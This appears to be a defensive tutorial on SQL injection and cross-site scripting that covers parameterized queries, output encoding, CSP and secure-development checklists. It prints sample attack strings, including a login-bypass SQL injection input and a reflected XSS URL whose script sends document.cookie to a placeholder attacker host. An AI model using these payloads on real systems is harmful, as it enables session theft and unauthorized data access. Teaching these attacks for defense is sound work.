Guide
SQL injection and XSS explained
Decades after they were first documented, SQL injection and cross-site scripting (XSS) still top every serious web security audit. Both are injection attacks: untrusted input crosses a boundary and gets interpreted as code — SQL statements in one case, JavaScript in the other. The fixes are well understood (parameterized queries and context-aware output encoding), yet they keep appearing in production because frameworks make it easy to concatenate strings, and because XSS has three different shapes that each need a different mental model. This guide explains how both attacks work, what attackers actually gain, and the layered defenses — including Content Security Policy (CSP) as a safety net when escaping fails.
What injection attacks share
Every injection bug follows the same pattern: your application has a parser
(the SQL engine, the browser's HTML/JavaScript parser) and you feed it a string
built partly from user input. If the input contains syntax the parser recognizes
— a quote that closes a string, a semicolon that ends a statement, a
<script> tag — the attacker's payload becomes part of the
interpreted command.
The root cause is almost never "we forgot to sanitize." It is treating data and code as the same channel. The durable fix is separation: pass user values as parameters to SQL, and treat every dynamic string inserted into HTML as text unless you have a deliberate, reviewed reason to allow markup.
Defense in depth matters because no single layer catches everything. Parameterized queries stop SQLi; escaping stops most XSS; CSP blocks execution of injected scripts even when escaping has a hole; HttpOnly cookies limit what stolen XSS sessions can reach. Stack the layers rather than betting on one filter function.
SQL injection: when user input becomes SQL
SQL injection happens when attacker-controlled input alters the structure of a database query. The classic example concatenates a login form directly into a WHERE clause:
-- Vulnerable (never do this)
query = "SELECT * FROM users WHERE email = '" + email + "' AND password = '" + password + "'"
-- Attacker enters email: ' OR '1'='1' --
-- Resulting SQL treats the rest as a comment; returns all rows
If the application uses the first returned row as an authenticated session, the
attacker is in without knowing any password. Worse payloads exfiltrate data
(UNION SELECT across tables), modify rows (UPDATE /
DELETE), or — on misconfigured databases — execute operating-system
commands.
Parameterized queries (prepared statements)
The fix is to send the SQL template and the values separately so the database never parses user input as syntax:
-- Safe pattern (pseudocode; every major driver supports this)
stmt = db.prepare("SELECT id FROM users WHERE email = ? AND password_hash = ?")
row = stmt.get(email, password_hash)
The driver sends the query plan with placeholders; values are bound as typed literals. A quote in the email stays a quote inside the string value — it cannot break out of the string context. This is the same idea taught in our SQL fundamentals guide: write explicit queries, never interpolate.
ORMs (Sequelize, Prisma, SQLAlchemy) generate parameterized statements by default
when you use their query builders. Risk returns when developers use
raw query escape hatches, dynamic table/column names from user
input, or string-built ORDER BY clauses. Whitelist allowed sort
columns; never pass a table name from a URL parameter.
Blind and second-order SQLi
Not every injection returns rows to the attacker. Blind SQLi
infers answers from timing (SLEEP(5)), error messages, or boolean
differences in page content ("Welcome back" vs "Invalid login"). Automated scanners
and patient humans still extract entire databases one bit at a time.
Second-order SQLi stores malicious input during registration and triggers later when an admin runs a report or a batch job concatenates stored values into SQL. Parameterize every query that touches user-origin data, including internal admin tools and analytics pipelines.
SQLi checklist
- Use prepared statements or ORM parameter binding for all value slots.
- Run the database user with least privilege — no
DROPor file I/O in the app role. - Never expose raw SQL errors to end users; log details server-side only.
- Audit
raw/executecalls in code review. - Test with OWASP ZAP or sqlmap against staging; fix findings before launch.
Cross-site scripting (XSS): when user input becomes JavaScript
XSS runs attacker-controlled JavaScript in a victim's browser under your site's
origin. That origin owns the victim's cookies (unless HttpOnly), localStorage,
and the ability to act as the user on your API — transfer funds, change emails,
post content. Wallet-connected dApps are especially sensitive: a script injected
on your page can call signTransaction if the wallet is connected and
the user approves a disguised prompt.
XSS comes in three flavors. Confusing them leads to partial fixes that miss real attack paths.
Reflected XSS
Malicious script is in the request and immediately echoed in the response — search boxes, error pages, redirect URLs:
https://example.com/search?q=<script>fetch('https://evil.test',{method:'POST',body:document.cookie})</script>
The attacker tricks the victim into clicking the link (phishing email, forum post). Fix: encode output everywhere user input is reflected; validate redirect targets.
Stored XSS
Payload is saved — comment fields, profile bios, support tickets, JSON blobs rendered in admin dashboards — and served to every viewer. One post can compromise every admin who opens the moderation queue. Fix: sanitize on output (and consider allowlisted markup on input for rich text), plus CSP to limit script execution even if storage contains a payload.
DOM-based XSS
The server response may be clean; vulnerable client-side JavaScript
reads location.hash, document.referrer, or
postMessage data and writes it to innerHTML without
encoding. Single-page apps are frequent offenders:
// Vulnerable
document.getElementById('banner').innerHTML = decodeURIComponent(location.hash.slice(1));
// Safe — treat as text
document.getElementById('banner').textContent = decodeURIComponent(location.hash.slice(1));
React, Vue, and Svelte escape text in JSX/templates by default — until you use
dangerouslySetInnerHTML, v-html, or pass unsanitized
HTML from an API into a rich-text component. Each of those is a deliberate XSS
surface that needs review.
Context-aware output encoding
HTML escaping (< to <) is necessary but not
sufficient. Context matters:
- HTML body — escape
< > & " '. - HTML attribute — also escape depending on quote style; never put untrusted data in event handlers (
onclick). - JavaScript string — JSON.stringify for embedding in scripts; never template user input into JS source.
- URL — encodeURIComponent; block
javascript:schemes in links.
Use your framework's built-in escaping. In React, {userName} is safe;
string-building HTML in handlers is not. For rich text (Markdown, WYSIWYG), run an
allowlist sanitizer (DOMPurify is the common choice) on the server and
client, and still deploy a strict CSP.
CSP as the last line of defense
Even careful teams ship escaping bugs. A strict
Content Security Policy
tells the browser which scripts may execute. A policy like
script-src 'self' with nonces or hashes blocks inline injected
<script> tags that XSS would otherwise run. CSP does not stop
SQLi and does not replace escaping — but it converts many XSS bugs from account
takeover into a console violation.
How SQLi and XSS differ in impact
SQL injection is a server-side breach: database contents, credentials, and sometimes the host running the database. XSS is a client-side breach scoped to users who view the poisoned page, but it scales through stored payloads and can pivot to your API with the victim's session.
Together they often appear in the same compromised app — SQLi to dump password hashes (hopefully stored with bcrypt or Argon2, not plaintext), XSS to capture live session tokens that bypass slow hash cracking. Treat both as P0 findings, not "theoretical" scanner noise.
Related but distinct: CSRF tricks a logged-in browser into submitting unwanted requests; SQLi/XSS inject code. Modern apps pair cookie-based sessions with CSRF tokens or SameSite cookies, and APIs with JWT bearer tokens that XSS can steal if stored in localStorage — another reason HttpOnly cookies plus CSP matter for browser sessions.
Testing and secure development habits
Security is not a pre-launch checkbox. Build it into the SDLC:
- Static analysis — Semgrep, CodeQL, or language linters flag string-concat SQL and dangerous DOM sinks.
- Dependency scanning — known-vulnerable libraries are a common XSS entry via supply chain; pin versions and monitor CVEs.
- Staging probes — run OWASP ZAP baseline scans on every deploy; feed results into your CI/CD pipeline as a gate for critical findings.
- Code review focus — any PR touching queries, HTML rendering, redirects, or
innerHTMLgets explicit security review. - Security headers — CSP,
X-Content-Type-Options: nosniff,Referrer-Policy, and HTTPS everywhere via HSTS.
For content sites that accept user comments or agent-generated HTML, default to Markdown rendered server-side with escaping, not raw HTML passthrough. The SEO and AdSense revenue model depends on trust — one stored XSS in a high-traffic guide page can poison every returning reader until you notice.
Production checklist
- 100% of SQL value slots use parameterized queries; raw SQL audited and rare.
- Database role has minimum permissions; backups encrypted and tested.
- All user-controlled output encoded for its HTML/JS/URL context.
- No
innerHTML/dangerouslySetInnerHTMLwithout sanitizer review. - Strict CSP deployed (start report-only, then enforce with nonces).
- Session cookies:
HttpOnly,Secure, sensibleSameSite. - Authentication secrets hashed with Argon2id or bcrypt; never logged.
- Automated security scan in CI; critical findings block merge.
Key takeaways
- SQL injection merges user input into SQL syntax — fix with prepared statements, not ad-hoc escaping.
- XSS merges user input into JavaScript/HTML — fix with context-aware encoding and safe DOM APIs.
- Stored, reflected, and DOM XSS need different test cases; fixing one does not fix the others.
- CSP is a safety net that limits damage when escaping fails.
- Layer defenses: parameterize, encode, CSP, least privilege, and continuous scanning.
Related reading
- Content Security Policy (CSP) explained — script-src, nonces, and blocking injected scripts
- SQL fundamentals explained — queries, joins, and safe parameterized patterns
- Cryptographic hashing explained — password storage when SQLi still exfiltrates hashes
- JWT explained — token theft via XSS and validation best practices